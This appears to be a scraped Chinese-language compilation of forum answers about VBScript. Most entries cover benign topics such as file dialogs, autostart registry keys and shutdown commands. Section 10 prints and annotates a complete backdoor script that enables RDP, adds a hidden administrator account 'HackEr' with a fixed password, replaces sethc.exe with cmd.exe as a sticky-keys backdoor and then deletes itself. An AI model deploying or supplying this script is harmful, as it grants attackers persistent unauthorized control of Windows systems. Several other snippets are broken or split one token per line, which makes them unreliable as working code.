vbs腳本代碼
1. Vbs COM之打開/保存文件腳本代碼
您先把如下的代碼復制,然後保存為FileSave.vbs,雙擊打開,您看到了什麼呢?
復制代碼
代碼如下:
Set
objDialog
=
CreateObject("SAFRCFileDlg.FileSave")
Set
fso
=
CreateObject("Scripting.FileSystemObject")
objDialog.FileName
=
"test"
objDialog.FileType
=
".txt"
intReturn
=
objDialog.OpenFileSaveDlg
If
intReturn
Then
fso.CreateTextFile(objDialog.FileName
&
objdialog.filetype)
Else
Wscript.Quit
End
if
Vbs在很多時候一直給用戶以不友好的文件打開或是保存方式,總是自己在後台處理掉了一些FSO操作,而不能讓用戶自己進行一些設當的DIY。所以,為什麼不用COM呢?COM組件在系統里是一直存在的,利用它,我們的用戶體驗將會提升很多。
上面的代碼是不能彈出一個保存test.txt文件的對話框呢?後綴名和文件名大家自己去修改,估計懂點vbs基礎知識的人都能修改筆者的這個小腳本,並將它鑲嵌到自己的腳本中去吧?
下面再看一個例子,這次是打開文件,獲得文件名。
復制代碼
代碼如下:
set
objFile
=
CreateObject("SAFRCFileDlg.FileOpen")
bRet
=
objFile.OpenFileOpenDlg
if
bRet
then
Wscript.Echo
"文件打開成功!文件名為:"
&
objFile.filename
else
wscript.quit
End
if
運行這個腳本(FileOpen.vbs),將會彈出一個讓用戶自己選擇文件的對話框窗口,非常友好地讓用戶自己選擇文件。bRet是執行的返回值,不為0則成功,objFile的FileName可以返回選擇的文件名。
一個名稱,一個調用方法,僅此而已。
如果您覺得這個不夠帥,您想用類似於MFC中完全自己DIY的CFileDialog,您該怎麼辦呢?也很簡單,UserAccounts對象為我們提供了CommonDialog,這個更加高級的打開通用對話框。
復制代碼
代碼如下:
Set
objDialog
=
CreateObject("UserAccounts.CommonDialog")
objDialog.Filter
=
"vbs
File|*.vbs"
objDialog.InitialDir
=
"E:"
bRet=objDialog.ShowOpen
if
bRet
then
strLoadFile
=
objDialog.FileName
Wscript.Echo
strLoadFile
else
Wscript.quit
End
if
將其保存為FileOpenAdvance.vbs吧,雙擊打開,它連過濾的文件類型都為您留好了介面。
默認文件名,後綴過濾器,後綴索引,標志,初始化未知,擁有者,一個調用方法。
2. 怎麼執行vbs代碼
1、把vbs代碼直接保存成vbs為擴展名的文件,雙擊就可以執行,效果如下:
3. 使VBS腳本開機自動運行的代碼是什麼
腳本本身是不能開機運行的
必須藉助別的 常用的就是 注冊表項了 還有 計劃任務 用at命令注冊 等等
在腳本里加幾行代碼就注冊為開機運行就行了
當然注冊表項不止一樓給的哪一個 而且一樓的注冊表項寫錯了 是
HKLM\software\microsoft\windows\currentversion\run
不是
HKML\software\microsoft\windows\curren+version\run
誤人子弟啊
你應該是要讓當前腳本開機運行
在腳本里加入
set wshshell=createobject("wscript.shell")
wshshell=regwrite "HKML\software\microsoft\windows\curren+version\run\"&WScript.ScriptName,WScript.ScriptFullName
就可以了
4. 解釋一個VBS腳本病毒代碼
有一段的解釋是:要修改管理員用戶的名字與許可權,還有就是要生成些病毒編寫者的其他自己編寫的文件,還有就是系統路徑的修改的問題,還有就是管理員用戶的系統的終端的修改,創建有病毒編寫者的自己的鍵值。
5. 關於vbs的代碼
是運行一個叫"ABC.vbs"的腳本嗎?還是用另外的腳本復制?
樓下的寫錯了「d:abc\」是「d:\abc\」
循環吧:
set r=wscript.createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
yuan = WScript.ScriptFullName
do
wscript.sleep 10000 '10秒一次行不?
fso.file yuan,"d:\abc\"
loop
6. 解釋一下這個VBS腳本代碼
DIM objShell 『定義一個變數
set objShell=wscript.createObject("wscript.shell") 』常見可執行對象賦值給objShell
iReturn=objShell.Run("cmd.exe /C c:\windows\home.cmd", 0, TRUE) 『用已賦值的objShell執行cmd.exe /C c:\windows\home.cmd命令,執行結果返回給iReturn。objShell.Run(命令,運行方式,是否等待)命令:可以是CMD命令,或者程序運行方式:0隱藏,1正常,2最小化,3最大化是否等待:是否等待執行完畢。
7. 求一段有復制功能的VBS腳本代碼,正確加分
我這里只有一台機器,所以只能自己測試自己的機器
這是代碼
@echo
off&&setlocal
enabledelayedexpansion
set
/p
num=請輸入文件名(包含後綴):
for
/l
%%a
in
(1,1,4)
do
"!num:~0,-5!%%a!num:~-4!"
"c:\test"
的路徑修改下,應該就能復制到共享的目錄下了,思路給你了
8. 難懂的VBS腳本代碼
&H27&是一個十六進制數字 化成十進制就是39
它被傳入 Namespace方法中 其實意思就是類似內部的一些定義好的常量
37 C:/xxxx
38 C:/windows/xxx
39 我的文檔/My Picture
這里傳入一個39 讀取出我的文檔中的 我的圖片文件夾路徑罷了 系統常量
9. vbs腳本代碼
根據windows中 Shutdown 的參數設置
-s 表示關閉本地計算機
-r 表示關機並重起
-l 表示注銷當前用戶
-f 強行關閉應用程序
-t 設置關機倒計時
所以你要重起就用參數-r
CreateObject("wscript.shell").Run "shutdown -r"
注銷用參數 -l
10. 求一個VBS腳本代碼:
'容錯
on error resume next
'定義一個常量 是一個注冊表的鍵值
const HKEY_LOCAL_MACHINE = &H80000002
'定義一個變數strComputer 值為.
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:!\\" &_
strComputer & "\root\default:StdRegProv")
'創建組件 是關於注冊表的組件
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
'上面這段的功能是開啟3389埠 也就是開啟遠程終端 方法是修改注冊表的鍵值
'容錯
on error resume next
'定義變數 username password
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
'這段是增加管理員 用戶名是HackEr 密碼是393214425
'容錯
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
'這段是留後門 放大鏡後門 將sethc.exe替換為cmd.exe 這樣 在登陸界面這里 按5下shift就會出現cmd窗口 然後添加用戶即可登陸系統
總結 這個不算是病毒 充其量 只不過是一個後門程序 運行之後 系統的遠程終端開啟,自動加入一個HackEr的帳號 自動添加一個放大鏡後門
個人感覺 這代碼是將3段代碼拼湊起來的 - - 沒技術含量